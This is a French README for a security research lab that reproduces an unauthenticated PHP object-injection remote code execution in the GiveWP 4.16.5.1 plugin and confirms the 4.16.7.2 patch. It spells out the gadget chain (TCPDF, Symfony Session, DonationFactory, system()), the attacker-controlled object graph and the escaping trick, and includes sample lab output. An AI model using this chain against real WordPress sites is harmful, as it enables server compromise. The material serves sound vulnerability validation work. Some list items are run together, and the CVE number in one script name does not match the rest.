
# Laboratoire Docker autorisé et PoC propre pour valider la RCE CVE-2026-82222 dans GiveWP 4.16.5.1 et le correctif 4.16.7.2.
Matériel de recherche en sécurité pour reproduire et valider CVE-2026-82222 dans un laboratoire Docker isolé.
Pour le PoC RCE direct et le scan d'URL, utilisez CVE-2026-8222-RCE.py
Statut : prouvé dans le laboratoire fourni
GiveWP 4.16.5.1 permet à un attaquant initialement non authentifié de persister un graphe d'objets PHP, de le raviver via la gestion de session GiveWP, et d'exécuter une commande marqueur fixe en tant qu'utilisateur du serveur web WordPress.
Résultat positif testé :
GiveWP: 4.16.5.1
WordPress: 6.6.2
PHP: 8.1.30
Result: /tmp/CVE-2026-82222-RCE-GETBAG created by www-data
Le résultat de bout en bout a également été reproduit contre la source GiveWP 4.16.5.1 pristine, non instrumentée. GiveWP 4.16.7.2 a bloqué le vecteur HTTP dans la configuration testée et a indépendamment bloqué le gadget terminal lors d'un contrôle direct.
Cela démontre l'exécution de commandes dans le conteneur WordPress. Cela ne démontre pas l'accès root, l'évasion de conteneur, le mouvement latéral ou la compromission de l'hôte.
Utilisez ce dépôt uniquement sur des systèmes que vous possédez ou pour lesquels vous êtes explicitement autorisé à tester.
Le PoC fourni est volontairement contraint :
touch /tmp/CVE-2026-82222-RCE-GETBAG.--allow-authorized-non-loopback.127.0.0.1.Le test HTTP crée un utilisateur donateur jetable, des métadonnées et des lignes de session GiveWP. Utilisez la commande de réinitialisation incluse après le test.
Prérequis :
curlunzipsha256sum ou shasumdownloads.wordpress.org pour les archives officielles du pluginExécutez la matrice complète vulnérable/patché :
./lab verify
La commande :
ProviderForwarder patché rejette également l'appelable chaîne.Le laboratoire patché reste en cours d'exécution à la fin. Supprimez-le avec :
./lab reset
Pour utiliser un autre port loopback :
LAB_PORT=8099 ./lab verify
Le contrôle vulnérable doit se terminer avec des preuves terminales concrètes :
[PASS] E1: unauthenticated registration issued auth cookie
[PASS] E3: serialized graph persisted in own last_name
[PASS] E4: donation-form nonce obtained
[PASS] E5: session write reached expected post-sink HTTP status=500
[PASS] E6: session read/destruction trigger completed
marker present and owned by the WordPress web user
RESULT: VULNERABLE CONTROL CONFIRMED
Le contrôle patché doit afficher :
[PASS] P1: patched registration gate blocked auth cookie
DIRECT_MARKER=absent
HTTP marker absent and direct terminal gadget blocked
RESULT: PATCHED CONTROL CONFIRMED
Un HTTP 500, une charge utile stockée, une exception ou un déclenchement de détecteur sans le marqueur n'est pas accepté comme preuve de RCE.
Démarrez et testez la version vulnérable :
./lab start vulnerable
./lab test
Démarrez et testez la version patchée :
./lab start patched
./lab test
Inspectez l'état actuel :
./lab status
Supprimez les conteneurs, volumes, utilisateurs de test, sessions et état du marqueur :
./lab reset
Les ZIP de plugins en cache et les ressources extraites sont conservés pour des réexécutions plus rapides. Supprimez également ces ressources générées exactes avec :
./lab reset --purge-assets
| Version | Évaluation |
|---|---|
| GiveWP 4.16.5.1 | RCE reproduite de bout en bout |
| GiveWP 4.16.6–4.16.7.1 | Signalée comme affectée ; non reproduite individuellement ici |
| GiveWP 4.16.7.2 | Contrôles négatifs patchés reproduits |
| Versions ultérieures | Non testées individuellement ; mettez à jour vers la dernière version prise en charge |
L'avis public identifie les versions jusqu'à 4.16.7.1 comme affectées. Ce dépôt prouve directement uniquement les deux versions de sa matrice de tests positifs/négatifs.
Références :
L'exploit combine plusieurs comportements :
Give\Helpers\Utils::maybeSafeUnserialize() utilise
allowed_classes => false, produisant __PHP_Incomplete_Class, mais une
sérialisation ultérieure préserve les noms de classes et propriétés d'origine.maybe_unserialize() non restreint ultérieur ravive les classes fournies.system().Quatre barres obliques inversées de namespace littérales sont requises dans le vecteur
HTTP. Les deux passes de suppression effectives les réduisent 4 -> 2 -> 1. La charge
utile est sans NUL, et PHP 8.1.30 a été vérifié pour hydrater le nom sérialisé simple
pour la propriété privée Session::$attributeName.
TCPDF::__destruct()
-> TCPDF::_destroy(true)
-> foreach ($this->imagekeys as $file)
-> Symfony Session::getIterator()
-> Session::getAttributeBag()
-> Session::getBag($this->attributeName)
-> $this->storage->getBag($attributeName)
-> DonationFactory->__call('getBag', [$attributeName])
-> call_user_func_array('system', [$attributeName])
-> system('touch /tmp/CVE-2026-82222-RCE-GETBAG')
Graphe contrôlé par l'attaquant :
TCPDF
├── file_id = identifiant de requête unique
└── imagekeys = Give\Vendors\Symfony\Component\HttpFoundation\Session\Session
├── attributeName = commande marqueur fixe
└── storage = Give\TestData\Factories\DonationFactory
└── loadedProviders["getBag"] = "system"
La transition cachée critique est la répartition implicite IteratorAggregate
de PHP. TCPDF::$imagekeys est non typé, donc l'assignation d'une Session
Symfony fait que foreach invoque Session::getIterator().
La commande marqueur s'exécute avant que Symfony n'applique le type de retour
getAttributeBag(): AttributeBagInterface. Le TypeError résultant et le HTTP 500
sont des effets post-sink.